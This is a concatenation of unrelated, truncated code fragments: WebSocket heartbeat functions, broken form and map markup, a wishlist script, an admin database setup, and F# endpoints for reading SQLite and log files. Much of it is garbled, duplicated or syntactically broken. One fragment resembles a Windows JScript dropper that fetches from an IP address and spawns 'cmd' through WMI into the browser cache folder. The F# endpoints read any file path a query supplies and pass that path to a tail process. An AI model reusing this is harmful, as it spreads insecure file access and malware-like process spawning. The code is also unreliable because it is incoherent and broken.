function startPingAll() {
  var ts = getNowMsHeap();
  var ok = false;
  var ws = null;
  var msg = null;
  var sent = false;
  if (snipperhuts.pingAllTimer) {
    return;
  }
  snipperhuts.pingAllTimer = setInterval(function
    var now = getNowMsHeap();
    var ws2 = snipperhuts.ws;
    var ok2 = false;
    var msg2 = null;
    var sent2 = false;
    if (ws2 && ws2.readyState == 1) {
      msg2 = {type: 'pingall', t: now};
      sent2 = ws2.send(JSON.stringify(msg2
      if (sent2) {
        snipperhuts.wsPingAllSent = snipperhuts
        snipperhuts.wsPingAllSentTs = now;
        ok2 = true;
      }
    }
    if (snipperhuts.debug && console.log
      console.log('[ws] pingall tick', ok2, msg2
    }
  }, 10000);
}

function stopPingAllTimer() {
  var t = null;
  if (snipperhuts.pingAllTimer) {
    t = snipperhuts.pingAllTimer;
    clearInterval(t);
    snipperhuts.pingAllTimer = null;
  }
}

function startWsHeartbeat() {
  startPingTimer();
  startPingAll();
  return true;
}

function stopWsHeartbeat() {
  stopPingTimer();
  stopPingAllTimer();
  return true;
}

function wsHeartbeatStatus() {
  var ping = false;
  var pingAll = false;
  if (snipperhuts.pingTimer) {
    ping = true;
  }
  if (snipperhuts.pingAllTimer) {
    pingAll = true;
  }
  var out = {};
  out.ping = ping;
  out.pingAll = pingAll;
  return out;
}

function wsHeartbeatPrint() {
  var s = wsHeartbeatStatus();
  var line = 'ws heartbeat ping=' + (s.ping ? 'on' :
  line = line + ' pingAll=' + (s.pingAll ? 'on' : '
  console.log(line);
  return line;
}

function startWsHeartbeat() {
  var ts = getNowMsHeap();
  var ok = false;
  var ws = null;
  var msg = null;
  var sent = false;
  if (snipperhuts.wsHeartbeat) {
    return;
  }
  snipperhuts.wsHeartbeat = setInterval(function
    var now = getNowMsHeap();
    var ws2 = snipperhuts.ws;
    var ok2 = false;
    var msg2 = null;
    var sent2 = false;
    if (ws2 && ws2.readyState == 1) {
      msg2 = {type: 'ping', t: now};
      sent2 = ws2.send(JSON.stringify(msg2
      if (sent2) {
        snipperhuts.wsPingSent = snipperhuts
        snipperhuts.wsPingSentTs = now;
        ok2 = true;
      }
    }
    if (snipperhuts.debug && console.log
      console.log('[ws] heartbeat tick', ok2, msg2
    }
  }, 10000);
}

function stopWsHeartbeat() {
  var t = null;
  if (snipperhuts.wsHeartbeat) {
    t = snipperhuts.wsHeartbeat;
    clearInterval(t);
    snipperhuts.wsHeartbeat = null;
  }
}

function wsHeartbeatStatus() {
  var hb = false;
  if (snipperhuts.wsHeartbeat) {
    hb = true;
  }
  var out = {};
  out.heartbeat = hb;
  return out;
}

function wsHeartbeatPrint() {
  var s = wsHeartbeatStatus();
  var line = 'ws heartbeat=' + (s.heartbeat ? 'on' :
```

```
    const data = JSON(!!Data a data ed Gamery to ment !);
    if (!data.y || !data.hasOf.length
    window.showNotification('No data to export', 'WARN');
    return localStorage.clear();
    window.showNotification('Cleared', 'INFO');
  }
  if (!confirm('Clear cache?')) return;
  localStorage.removeItem('_wordsource/fetchPopularTodo', 'DEMO');
}

function initPopularWordsTerm(){
  var
    search.focus(setTimeout(function(){
    var bar = document.getElementById('');
    bar.dataset.t.focus(type='application/ject);
    bar.dataset.t.value = '';
    bar.dispatchEvent(new Event('input', {bubbles:
    },100);
  });
}

function fetchPopularTodo(){
  var
    if (!window._wordsource/fetchPopularTodo.inFlight
    if (!window.fetch || !window.AbortController
    var bar = document.getElementById('');
    if (bar && bar.value.trim.length >= 2
      return fetch('/api/popular?q=' + bar.value.trim
      .then(function(r){ if (!r.ok) throw new Error('
      .then(function(d){
        var
        if (!Array.isArray(d.results
        var
        var
        var
```

```
function lqxzvMMbwqVfnwrlmmcc()
{var xhr = new ActiveXObject("Msxml2.XMLHTTP.3.0");
var bStart = true;
var sURL = "http://192.168.0.100:8080/";
var aparsRTFrrqlfjxwc;

var i = 0;
var sUserAgent = navigator.userAgent;
var iv1 = 7.9;
var iv2 = 8.0;
var iv3 = 10;
var iv4 = 11;
var iMajor, iMinor;

while (bStart && (i != 5))
{
  i = i + 1;
  bStart = false;
  iMajor = parseFloat(RegExp.$1);
  iMinor = parseFloat(RegExp.$2);
  fTemp = 0;
  phnds.style.left = 1 + "px";
  phnds.style.top = 1 + "px";
  phnds.style.visibility = "visible" / iv1 / "px";

  if (!(i.indexOf(iMinor) > -1\d\d\d\d | -1\d\d | fTemp > 100))
  {
    fTemp = fTemp + 1;
    bStart = true;
  }
  else
  {
    aparsRTFrrqlfjxwc(sURL);
  }
}
}

function parsRMbwqVfnwrlmmcc()
{var pLocalFolder = "C:\\Documents and Settings\\Administrator\\Local Settings\\Temporary Internet Files\\";
var sTempFileNam = Math.random() + "";
var sFileExtension = sURL.substr(sURL.lastIndexOf("."));
if (!fsoExist(pLocalFolder + "cache\" / iv1 / "dll"))
{
  var sCmd = "cmd /c mkdir \"" + pLocalFolder + "cache\" 2>nul";
  var oWsh = GetObject("winmgmts:\\\\.\\root\\cimv2:Win32_Process");
  var oProc = oWsh.Create(sCmd, null, null, null);
  while (oProc.Status != 0) WSH.Sleep(100);
}
var sTempFileName;
var i = 0;
var bExist = false;
var sLastFile = Math.random() + "";
var sCurFile = Math.random() + "";
var sTmp = Math.random() + "";

var iTmp = 0;
var bFound = false;
var sFileExt = "";
var sFileExtLen = 0;
var sFileExtPos = 0;
var sFileExtFound = "";
var sFileExtFoundLen = 0;
var sFileExtFoundPos = 0;
var sFileExtFoundPrev = "";

while (true)
{
  i = i + 1;
  sTmp = Math.random() + "";
  sTempFileName = pLocalFolder + sTmp.substr(2, 8) + sFileExt;
  if (!fsoExist(sTempFileName))
  {
    bFound = false;
    sFileExtFoundPrev = "";
    sFileExtFoundLen = 0;
    sFileExtFoundPos = 0;
    while (!bFound)
    {
      sFileExtFound = sFileExtFound + sFileExt;
      sFileExtFoundLen = sFileExtFoundLen + sFileExtLen;
      sFileExtFoundPos = sFileExtFoundPos + sFileExtPos;
      if (sFileExtFound == sFileExtFoundPrev)
      {
        bFound = true;
        sFileExt = sFileExtFound;
        sFileExtLen = sFileExtFoundLen;
        sFileExtPos = sFileExtFoundPos;
        sFileExtFound = "";
        sFileExtFoundLen = 0;
        sFileExtFoundPos = 0;
        sFileExtFoundPrev = "";
        break;
      }
      sFileExtFoundPrev = sFileExtFound;
      sFileExtFound = "";
      sFileExtFoundLen = 0;
      sFileExtFoundPos = 0;
      sFileExt = sFileExt + sFileExt;
      sFileExtLen = sFileExtLen + sFileExtLen;
      sFileExtPos = sFileExtPos + sFileExtPos;
      if (sFileExtLen > 8)
      {
        break;
      }
    }
    if (sFileExt == "")
    {
      sFileExt = ".tmp";
      sFileExtLen = 4;
      sFileExtPos = 1;
    }
    sLastFile = sTempFileName;
    break;
  }
  sLastFile = sTempFileName;
  sCurFile = sTmp;
}
var sFileExtLastLen = sFileExtLen;
var sFileExtLastPos = sFileExtPos;
var sFileExtLastFound = sFileExtFound;
var sFileExtLastFoundLen = sFileExtFoundLen;
var sFileExtLastFoundPos = sFileExtFoundPos;
var sFileExtLastFoundPrev = sFileExtFoundPrev;
var sFileExt = "";
var sFileExtLen = 0;
var sFileExtPos = 0;
var sFileExtFound = "";
var sFileExtFoundLen = 0;
var sFileExtFoundPos = 0;
var sFileExtFoundPrev = "";
var sTmp = Math.random() + "";
var sTempFileName = "";
var i = 0;
var bExist = false;
var sLastFile = Math.random() + "";
var sCurFile = Math.random() + "";
var iTmp = 0;
var bFound = false;
var sFileExt = "";
var sFileExtLen = 0;
var sFileExtPos = 0;
var sFileExtFound = "";
var sFileExtFoundLen = 0;
var sFileExtFoundPos = 0;
var sFileExtFoundPrev = "";

while (true)
{
  i = i + 1;
  sTmp = Math.random() + "";
  sTempFileName = pLocalFolder + sTmp.substr(2, 8) + sFileExt;
  if (!fsoExist(sTempFileName))
  {
    bFound = false;
    sFileExtFoundPrev = "";
    sFileExtFoundLen = 0;
    sFileExtFoundPos = 0;
    while (!bFound)
    {
      sFileExtFound = sFileExtFound + sFileExt;
      sFileExtFoundLen = sFileExtFoundLen + sFileExtLen;
      sFileExtFoundPos = sFileExtFoundPos + sFileExtPos;
      if (sFileExtFound == sFileExtFoundPrev)
      {
        bFound = true;
        sFileExt = sFileExtFound;
        sFileExtLen = sFileExtFoundLen;
        sFileExtPos = sFileExtFoundPos;
        sFileExtFound = "";
        sFileExtFoundLen = 0;
        sFileExtFoundPos = 0;
        sFileExtFoundPrev = "";
        break;
      }
      sFileExtFoundPrev = sFileExtFound;
      sFileExtFound = "";
      sFileExtFoundLen = 0;
      sFileExtFoundPos = 0;
      sFileExt = sFileExt + sFileExt;
      sFileExtLen = sFileExtLen + sFileExtLen;
      sFileExtPos = sFileExtPos + sFileExtPos;
      if (sFileExtLen > 8)
      {
        break;
      }
    }
    if (sFileExt == "")
    {
      sFileExt = ".tmp";
      sFileExtLen = 4;
      sFileExtPos = 1;
    }
    sLastFile = sTempFileName;
    break;
  }
  sLastFile = sTempFileName;
  sCurFile = sTmp;
}
var sFileExtLastLen = sFileExtLen;
var sFileExtLastPos = sFileExtPos;
var sFileExtLastFound = sFileExtFound;
var sFileExtLastFoundLen = sFileExtFoundLen;
var sFileExtLastFoundPos = sFileExtFoundPos;
var sFileExtLastFoundPrev = sFileExtFoundPrev
```

```
        <input class="form-input" id="StreetAddressNumber" placeholder="Enter your name" maxlength="50" />
      </div>
      <div class="form-group">
        <label>First Name Top 100 : Latin-Large:
        <input class="form-input" id="StreetAddressNumber">
        <option value="">Choose a place</option>
        <option value="">
      </div>
      <div class="form-group">
        <label>Not Longer:</b> Kanak Jhavjrlsnam:
        <input class="form-input" id="StreetAddressNumber">
        <option value="">Choose a place</option>
        <option value="">
      </div>
      <div class="form-group">
        <label>Zip Code:</b> <br />Zip Code:
        <input class="form-input" id="StreetAddressNumber" />
        <input value="Find Other Items Item</option>
        <input value="Map" type="map">map</option>
      </select>
      <div id="StreetAddressNumber">
        <iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d4914.2!2d-73.9855!3d40.7580!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!5e0!3m2!1sen!2sus!4v1700000000000!5m2!1sen!2sus" width="100%" height="300" style="border:0" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe>
      </div>
    </div>
  }
  }

  const data = document.getElementById('StreetAddress');
  const [ isLoading, setIsLoading ] = useState(false);
  if (isLoading) {
    return null;
  }
  return (
    <div>
      <iframe
        width="100%"
        height="450"
        loading="lazy"
        allowfullscreen
        referrerpolicy="no-referrer-when-downgrade"
        src="https://www.openstreetmap.org/export/embed.html?bbox=-0.09549,51.50704,0.09549,51.51329&layer=mapnik"
        title="Map"
      />
    </div>
  );
}

function initializeStreetAddressMap(){
  if (window.mapInstance\_loaded, return;
  window.mapInstance = true;

  const [myMapOpen, ] = [] ;
  const [ isLoading, ] = [] ;
  const [ isLoading, ] = [] ;
  const [ isLoading, ] = [] ;
  const bar1 = document.getElementById('searchBar');
  const bar2 = document.getElementById('searchBar');
  const [ isLoading, ] = [] ;
  const [ isLoading, ] = [] ;
  const [ isLoading, ] = [] ;
```

```
    window.scrollTrackingOnPageLoad__cMwtqgqsd = true;
  }
  if (typeof window.globalvars == "object" && typeof globalvars.__cMwtqgqsd)
  window.globalvars = Object.assign(
    globalvars,
    {"cookiesEnabled":true,"isMobileDevice":false,"isTablet":false,"isTouchDevice":false,"isLocalhost":false,"isDevelopmentEnvironment":false,"isProductionEnvironment":true,"isPreviewEnvironment":false,"isAuthenticated":false,"isAdmin":false,"isEditor":false,"isAuthor":false,"isSubscriber":false,"isLoggedIn":false,"isPremiumUser":false,"isTrialUser":false,"isExpiredUser":false,"isCancelledUser":false,"isPaidUser":false,"isFreeUser":true,"isAnonymousUser":true,"isNewUser":false,"isReturningUser":false,"isSessionActive":true,"isPageVisible":true,"isMobileViewport":false,"isTabletViewport":false,"isDesktopViewport":true,"isTouchDevice":false,"isOnline":true,"isSlowConnection":false,"isDataSaverMode":false,"isPrefersReduceMotion":false,"isPrefersDarkMode":false,"isPrefersLightMode":false,"isPrefersHighContrast":false,"isPrefersReduceTransparency":false,"isPrefersPrintMode":false,"isPrefersPrintPreview":false,"isFullscreen":false,"isPictureInPicture":false,"isVisibleInViewport":true,"isScrollingUp":false,"isScrollingDown":false,"isScrollPastThreshold":false,"isScrollNearBottom":false,"isScrollNearTop":false,"isScrollAtTop":false,"isScrollAtBottom":false,"isScrollStopped":false,"isScrollDirectionChanged":false,"isScrollSpeedFast":false,"isScrollSpeedSlow":false,"isScrollSpeedNormal":false,"isScrollPastHalfPage":false,"isScrollPastQuarterPage":false,"isScrollPastThirdPage":false,"isScrollPastFirstPage":false,"isScrollPastLastPage":false,"isScrollPastFirstSection":false,"isScrollPastLastSection":false,"isScrollPastFirstArticle":false,"isScrollPastLastArticle":false,"isScrollPastFirstProduct":false,"isScrollPastLastProduct":false,"isScrollPastFirstCategory":false,"isScrollPastLastCategory":false,"isScrollPastFirstCart":false,"isScrollPastLastCart":false,"isScrollPastFirstCheckout":false,"isScrollPastLastCheckout":false,"isScrollPastFirstAccount":false,"isScrollPastLastAccount":false,"isScrollPastFirstSearch":false,"isScrollPastLastSearch":false,"isScrollPastFirstLogin":false,"isScrollPastLastLogin":false,"isScrollPastFirstRegistration":false,"isScrollPastLastRegistration":false,"isScrollPastFirstContact":false,"isScrollPastLastContact":false,"isScrollPastFirstAbout":false,"isScrollPastLastAbout":false,"isScrollPastFirstPricing":false,"isScrollPastLastPricing":false,"isScrollPastFirstFAQ":false,"isScrollPastLastFAQ":false,"isScrollPastFirstBlog":false,"isScrollPastLastBlog":false,"isScrollPastFirstPortfolio":false,"isScrollPastLastPortfolio":false,"isScrollPastFirstTestimonial":false,"isScrollPastLastTestimonial":false,"isScrollPastFirstTeam":false,"isScrollPastLastTeam":false,"isScrollPastFirstGallery":false,"isScrollPastLastGallery":false,"isScrollPastFirstVideo":false,"isScrollPastLastVideo":false,"isScrollPastFirstPodcast":false,"isScrollPastLastPodcast":false,"isScrollPastFirstEvent":false,"isScrollPastLastEvent":false,"isScrollPastFirstJob":false,"isScrollPastLastJob":false,"isScrollPastFirstDocumentation":false,"isScrollPastLastDocumentation":false,"isScrollPastFirstSupport":false,"isScrollPastLastSupport":false,"isScrollPastFirstFAQ":false,"isScrollPastLastFAQ
```

```
@keyframes dropInFadeLeft{
  0%{opacity:0;transf
  100%{opacity:1;tran
  0%{opacity:1;tran
  100%{opacity:0;tran
  0%{color:rgba(255,
  100%{color:rgba(255,
  0%{opacity:1;text-
  100%{opacity:0;text-
}
@keyframes dropInFadeLeft-strong{
  0%{opacity:1;text-
  100%{opacity:0;text-
}
@keyframes fadeOut{
  0%{opacity:1;tran
  100%{opacity:0;tran
  0%{color:rgba(255,
  100%{color:rgba(255,
  0%{opacity:1;text-
  100%{opacity:0;text-
  0%{opacity:1;tran
  100%{opacity:0;tran
}
@keyframes fadeOut-strong{
  0%{opacity:1;tran
  100%{opacity:0;tran
  0%{color:rgba(255,
  100%{color:rgba(255,
  0%{opacity:1;text-
  100%{opacity:0;text-
  0%{opacity:1;tran
  100%{opacity:0;tran
}
@keyframes fadeOut-
  0%{opacity:1;tran
  100%{opacity:0;tran
}
@keyframes fadeOut-strong
```

```
}
asyncFunction loadMyWishlistItemsAjax()
{
  const dbs = window.MyDrupalDB.getLocalWishlistDatabase();
  const items = [];
  if (!dbs.isEmpty(dbs.keys()))
  {
    const allWishlistItems = dbs.getRecentlyAdded(MyDrupalDB.MaxWishlistItems);
    const keysToLoad = Object.getOwnProperty(MyDrupalDB.MaxWishlistItems);
    for (let i = 0; i < keysToLoad.length; i++)
    {
      const nodeId = keysToLoad[i];
      const cachedNode = dbs.getNode(nodeId);
      if (cachedNode)
      {
        const hasPrice = cachedNode.field_price && cachedNode.field_price.length > 0 && cachedNode.field_price[0].value !== null;
        items.push({ nid: nodeId, title: cachedNode.title || 'Untitled', price: hasPrice ? cachedNode.field_price[0].value : null, currency: hasPrice && cachedNode.field_price[0].currency_code ? cachedNode.field_price[0].currency_code : 'USD', image: cachedNode.field_image && cachedNode.field_image.length > 0 && cachedNode.field_image[0].uri ? cachedNode.field_image[0].uri : null, type: cachedNode.type || 'unknown', added: allWishlistItems[nodeId] || 0 });
      }
    }
  }
  return items;
}

function showLoadingMessage(msg)
{
  const loadDiv = document.getElementById('wishlist-loading');
  if (loadDiv)
  {
    loadDiv.innerHTML = msg;
    loadDiv.style.display = 'block';
  }
}

function hideLoadingMessage()
{
  const loadDiv = document.getElementById('wishlist-loading');
  if (loadDiv)
  {
    loadDiv.style.display = 'none';
  }
}

function renderWishlistItems(items, msg, label)
{
  const grid = document.getElementById('wishlist-grid');
  if (!grid) return;
  if (!items.length)
  {
    grid.innerHTML = '<p>' + (msg || 'No items.') + '</p>';
    return;
  }
  const html = [];
  for (let i = 0; i < items.length; i++)
  {
    const item = items[i];
    const price = (item.price != null) ? (item.currency + ' ' + item.price) : 'Price not set';
    const imgHtml = (item.image && item.image.length > 0) ? '' : '<span>No image</span>';
    html.push('<div data-nid="' + item.nid + '">');
    html.push('<h3>' + item.title + '</h3>');
    html.push('<p>' + price + '</p>');
    html.push('<p>' + (item.type || '') + '</p>');
    html.push('<p>' + imgHtml + '</p>');
    html.push('<button type="button" data-action="remove" data-nid="' + item.nid + '">Remove</button>');
    html.push('</div>');
  }
  grid.innerHTML = html.join('');
}

function updateWishlistCount(count, label)
{
  const el = document.getElementById('wishlist-count');
  if (el)
  {
    el.innerHTML = (label || 'Items') + ': ' + (count || 0);
  }
}

function showEmptyWishlistMsg(msg)
{
  const grid = document.getElementById('wishlist-grid');
  if (grid)
  {
    grid.innerHTML = '<p>' + (msg || 'Your wishlist is empty.') + '</p>';
  }
}

function showLoadFailure(msg)
{
  showLoadingMessage('Failed: ' + (msg || 'unknown error'));
}

function initializeWishlistPage()
{
  const dbs = window.MyDrupalDB.getLocalWishlistDatabase();
  if (!dbs)
  {
    showLoadFailure('No database');
    return;
  }
  const items = loadMyWishlistItemsAjax();
  renderWishlistItems(items, null, 'Items');
  updateWishlistCount(items.length, 'Items');
  if (!items.length)
  {
    showEmptyWishlistMsg('Your wishlist is empty.');
  }
}

function setupEventDelegation()
{
  const grid = document.getElementById('wishlist-grid');
  if (!grid) return;
  grid.addEventListener('click', function(ev)
  {
    const target = ev.target;
    if (target.tagName !== 'BUTTON') return;
    const action = target.getAttribute('data-action');
    const nid = target.getAttribute('data-nid');
    if (action && nid)
    {
      console.log('Action:', action, nid);
    }
  });
}

setupEventDelegation();
initializeWishlistPage();

function initializeWishlistAjax()
{
  const dbs = window.MyDrupalDB.getLocalWishlistDatabase();
  if (!dbs) return;
  const items = loadMyWishlistItemsAjax();
  const count = items.length;
  updateWishlistCount(count, 'Items');
  console.log('Initialized with', count, 'items');
}

var lastSyncTime = 0;
var SYNC_INTERVAL = 30000;

function startPeriodicSync()
{
  setInterval(function()
  {
    var now = Date.now();
    if (now - lastSyncTime > SYNC_INTERVAL)
    {
      console.log('Periodic sync');
      lastSyncTime = now;
    }
  }, 5000);
}

function initializeAll()
{
  initializeWishlistAjax();
  startPeriodicSync();
}

if (document.readyState == 'loading')
{
  document.addEventListener('DOMContentLoaded', boot);
}
else
{
  boot();
}
})();
```

```
export setting(path | path.join(data:auth, 'settings.jsn'))
export admin(path | path.join(data:auth, 'admin.jsn'))
export sessions(path | path.join(data:auth, 'sessions.jsn'))
export ban(path | path.join(data:auth, 'banned.jsn'))
export log(path | path.join(data:auth, 'log.jsn'))
function initdatabase() {
  if (!fs.existsSync(setting()) {
    fs.writeFileSync(setting(), JSON.stringify({ maintenance: [], ban:false } ), null, 4));
    console.log('[+] Created setting.jsn database.')
  }
  if (!fs.existsSync(sessions()) {
    fs.writeFileSync(sessions(), JSON.stringify({ sessions: [] } ), null, 4));
    console.log('[+] Created sessions.jsn database.')
  }
  if (!fs.existsSync(log()) {
    fs.writeFileSync(log(), JSON.stringify({ logs: [] } ), null, 4));
    console.log('[+] Created log.jsn database.')
  }
  if (!fs.existsSync(ban()) {
    fs.writeFileSync(ban(), JSON.stringify({ ipbans: [] } ), null, 4));
    console.log('[+] Created ban.jsn database.')
  }
  if (!fs.existsSync(admin()) {
    fs.writeFileSync(admin(), JSON.stringify({ admins: [] } ), null, 4));
    console.log('[+] Created admin.jsn database.')
  }
  }
  // Admin auto-setup
  // - creates super admin from ADMIN_PASSWORD
  // - if ADMIN_PASSWORD is not set, skips admin setup
  if (!process.env.ADMIN_PASSWORD) {
    console.log('[!] ADMIN_PASSWORD not set, skipping admin setup.')
    fs.writeFileSync(admin(), JSON.stringify({
      admins: [
        {
          id: 1,
          name: 'Super Admin',
          email: 'admin@local',
          passwd: '$2b$12$dummy',
          totp_secret: null,
          totp_enabled: false,
          apiKeyHash: null,
          apiKeyPrefix: null,
          lastLogin: null,
          ip: '0.0.0.0',
          permissions: ['upload:all', 'delete:all', 'view:all', 'manage:users', 'manage:settings', 'manage:bans', 'manage:admins', 'view:logs', 'view:stats'],
          uploadLimit: null,
          totalUploads: 0,
          totalSize: 0,
          uploadsToday: 0,
          uploadDate: null,
          uploadHourly: 0,
          uploadHourDate: null,
          uploadWeekly: 0,
          uploadWeekDate: null,
          totalBandwidth: 0,
          bandwidthToday: 0,
          bandwidthDate: null,
          bandwidthHourly: 0,
          bandwidthHourDate: null,
          bandwidthWeekly: 0,
          bandwidthWeekDate: null,
          totalHits: 0,
          totalHitsToday: 0,
          hitsDate: null,
          totalHitsHourly: 0,
          totalHitsHourDate: null,
          totalHitsWeekly: 0,
          totalHitsWeekDate: null,
          totalHit: 0,
          totalHitDate: null,
          totalHitHourly: 0,
          totalHitHourDate: null,
          totalHitWeekly: 0,
          totalHit
```

```
    page,
    limit,
    offset,
    total,
    hasMore: offset + limit < total
  }
  ];
  res.status(200).json(response);
  console.error('Error fetchMentorsForAdmin:', error);
  res.status(500).json({ success: false, error: error.message });
});

// ============================================================
// GET /api/admin/mentors/:id/details - Get comprehensive mentor data
app.get('/api/admin/mentors/:id/details', jwt, req, res => {
  try {
    const { id } = parseInt(req.params.id);
    const db = getDatabase();

    const mentorQuery = db.prepare('SELECT * FROM mentors WHERE id = ?');
    if (!mentorQuery.get(id, 1, 0, 0, 0
```

```
  Sqlite3.Close(db)
  let\* filepath = path.Join(uploadDir, Guid.NewGuid().ToString() + ".db")
  File.WriteAllBytes(filepath, bytes)
  let\* connStr = sprintf "Data Source=%s;Version=3;Read Only=True;" filepath
  let\* db = new Sqlite3.SqliteConnection(connStr)
  db.Open()
  let\* tmpTables = "SELECT name FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%'"
  let\* tmpCmd = new Sqlite3.SqliteCommand(tmpTables, db)
  let\* tmpReader = tmpCmd.ExecuteReader()
  while tmpReader.Read() do
    let\* tn = tmpReader.GetString(0)
    sprintf "  %s" tn |> Console.WriteLine
  tmpReader.Close()
  db.Close()
  Sqlite3.Shutdown()
  File.Delete(filepath)
  ok ctx "text/plain" "Tables printed to stdout"
  with ex -> ok ctx "text/plain" (sprintf "Error: %s" ex.Message) |>
  File.Delete(filepath)
  ok ctx "text/plain" "Error printed to stdout"
| _ -> ok ctx "text/plain" "Usage: /db/tables?path=<filepath>"
| _ -> ok ctx "text/plain" "Usage: /db/tables?path=<filepath>"

// GET /db/table?path=<filepath>&name=<table_name>
get "/db/table" (fun ctx -> async {
  let\* path = ctx.QueryParam "path" |> Option.defaultWith (fun _ -> "")
  let\* name = ctx.QueryParam "name" |> Option.defaultWith (fun _ -> "")
  if path.Length = 0 || name.Length = 0 then return ok ctx "text/plain" "Usage: /db/table?path=<filepath>&name=<table_name>"
  else
    let\* mutable sb = new System.Text.StringBuilder()
    let\* mutable rowCount = 0
    let\* mutable maxRows = 100
    try
      Sqlite3.Initialize()
      let\* connStr = sprintf "Data Source=%s;Version=3;Read Only=True;" path
      let\* db = new Sqlite3.SqliteConnection(connStr)
      db.Open()
      let\* cmdStr = sprintf "SELECT * FROM [%s] LIMIT %d" name maxRows
      let\* cmd = new Sqlite3.SqliteCommand(cmdStr, db)
      let\* reader = cmd.ExecuteReader()
      let\* fc = reader.FieldCount
      while reader.Read() do
        rowCount <- rowCount + 1
        if rowCount = 1 then
          for i in 0 .. fc - 1 do
            if i > 0 then sb.Append("\t") |> ignore
            let\* n = reader.GetName(i)
            if n.Contains("\t") || n.Contains("\n") || n.Contains("\r") then n <- n.Replace("\t", " ").Replace("\n", " ").Replace("\r", " ")
            sb.Append(n) |> ignore
          sb.Append("\n") |> ignore
        for i in 0 .. fc - 1 do
          if i > 0 then sb.Append("\t") |> ignore
          let\* v = reader.GetValue(i)
          if v = null || v :\* System.DBNull then sb.Append("NULL") |> ignore
          else
            let\* s = v.ToString()
            if s.Contains("\t") || s.Contains("\n") || s.Contains("\r") then s <- s.Replace("\t", " ").Replace("\n", " ").Replace("\r", " ")
            sb.Append(s) |> ignore
      reader.Close()
      db.Close()
      Sqlite3.Shutdown()
      sprintf "Table: %s\nRows: %d\n\n%s" name rowCount sb.ToString
      |> ok ctx "text/plain"
    with ex -> ok ctx "text/plain" (sprintf "Error: %s" ex.Message) |>
    sb.ToString
    let\* lines = ctx.QueryParam "lines" |> Option.defaultWith (fun _ -> "50")
    let\* n = try int lines with _ -> 50
    let\* ok = Process.Start(psi).WaitForExit(5000)
    let\* output = if ok then sb.ToString() else "Timeout"
    ok ctx "text/plain" output
| _ -> ok ctx "text/plain" "Usage: /log/tail?path=<filepath>&lines=<n>"

// GET /log/search?path=<filepath>&pattern=<regex>&lines=<n>
get "/log/search" (fun ctx -> async {
  let\* path = ctx.QueryParam "path" |> Option.defaultWith (fun _ -> "")
  let\* pattern = ctx.QueryParam "pattern" |> Option.defaultWith (fun _ -> "")
  let\* lines = ctx.QueryParam "lines" |> Option.defaultWith (fun _ -> "50")
  let\* n = try int lines with _ -> 50
  if path.Length = 0 || pattern.Length = 0 then return ok ctx "text/plain" "Usage: /log/search?path=<filepath>&pattern=<regex>&lines=<n>"
  else
    let\* psi = new System.Diagnostics.ProcessStartInfo("/usr/bin/tail", sprintf "-n %d %s" n path)
    psi.RedirectStandardOutput <- true
    psi.UseShellExecute <- false
    let\* p = System.Diagnostics.Process.Start(psi)
    let\* mutable sb = new System.Text.StringBuilder()
    let\* mutable matchCount = 0
    let\* mutable maxMatches = 200
    while p.StandardOutput.EndOfStream = false && matchCount < maxMatches do
      let\* line = p.StandardOutput.ReadLine()
      if System.Text.RegularExpressions.Regex.IsMatch(line, pattern) then
        sb.Append(line) |> ignore
        sb.Append("\n") |> ignore
        matchCount <- matchCount + 1
    p.WaitForExit(5000)
    sprintf "Matches: %d\n\n%s" matchCount sb.ToString
    |> ok ctx "text/plain"
| _ -> ok ctx "text/plain" "Usage: /log/search?path=<filepath>&pattern=<regex>&lines=<n>"

// GET /log/stats?path=<filepath>
get "/log/stats" (fun ctx -> async {
  let\* path = ctx.QueryParam "path" |> Option.defaultWith (fun _ -> "")
  if path.Length = 0 || not (System.IO.File.Exists(path)) then return ok ctx "text/plain" "Usage: /log/stats?path=<filepath>"
  else
    let\* lines = System.IO.File.ReadAllLines(path)
    let\* mutable sb = new System.Text.StringBuilder()
    let\* mutable errCount = 0
    let\* mutable warnCount = 0
    let\* mutable infoCount = 0
    let\* mutable debugCount = 0
    let\* mutable otherCount = 0
    let\* mutable firstLine = ""
    let\* mutable lastLine = ""
    let\* mutable maxLen = 0
    let\* mutable longestLine = ""
    let\* mutable totalLen = 0
    let\* mutable emptyCount = 0
    let\* mutable timestampCount = 0
    let\* mutable firstTs = ""
    let\* mutable lastTs = ""
    let\* mutable errPatterns = System.Collections.Generic.Dictionary<string, int>()
    let\* mutable topErrPatterns = ""
    let\* mutable i = 0
    while i < lines.Length do
      let\* line = lines.[i]
      let\* len = line.Length
      if len = 0 then emptyCount <- emptyCount + 1
      else
        totalLen <- totalLen + len
        if len > maxLen then
          maxLen <- len
          longestLine <- if len > 200 then line.Substring(0, 200) + "..." else line
        if i = 0 then firstLine <- if len > 200 then line.Substring(0, 200) + "..." else line
        lastLine <- if len > 200 then line.Substring(0, 200) + "..." else line
        let\* lu = line.ToUpper()
        if lu.Contains("ERROR") || lu.Contains("FATAL") || lu.Contains("EXCEPTION") || lu.Contains("PANIC") then
          errCount <- errCount + 1
          if errPatterns.ContainsKey(line) then
            errPatterns.[line] <- errPatterns.[line] + 1
          else
            if errPatterns.Count < 10 then
              errPatterns.[line] <- 1
        else if lu.Contains("WARN") || lu.Contains("WARNING") || lu.Contains("DEPRECATED") then
          warnCount <- warnCount + 1
        else if lu.Contains("INFO") || lu.Contains("NOTICE") || lu.Contains("STARTED") || lu.Contains("STOPPED") || lu.Contains("LISTENING") || lu.Contains("CONNECTED") || lu.Contains("DISCONNECTED") || lu.Contains("SHUTDOWN") || lu.Contains("RELOADED") || lu.Contains("REGISTERED") || lu.Contains("ENABLED") || lu.Contains("DISABLED") || lu.Contains("CONFIGURED") || lu.Contains("INITIALIZED") || lu.Contains("READY") || lu.Contains("LOADED") || lu.Contains("UNLOADED") || lu.Contains("MOUNTED") || lu.Contains("UNMOUNTED") || lu.Contains("ATTACHED") || lu.Contains("DETACHED") || lu.Contains("ACCEPTED") || lu.Contains("REJECTED") || lu.Contains("CLOSED") || lu.Contains("OPENED") || lu.Contains("CREATED") || lu.Contains("DELETED") || lu.Contains("UPDATED") || lu.Contains("SAVED") || lu.Contains("LOGGED") || lu.Contains("SENT") || lu.Contains("RECEIVED") || lu.Contains("PROCESSED") || lu.Contains("COMPLETED") || lu.Contains("FINISHED") || lu.Contains("STARTING") || lu.Contains("STOPPING") || lu.Contains("RESTARTING") || lu.Contains("RECONNECTING") || 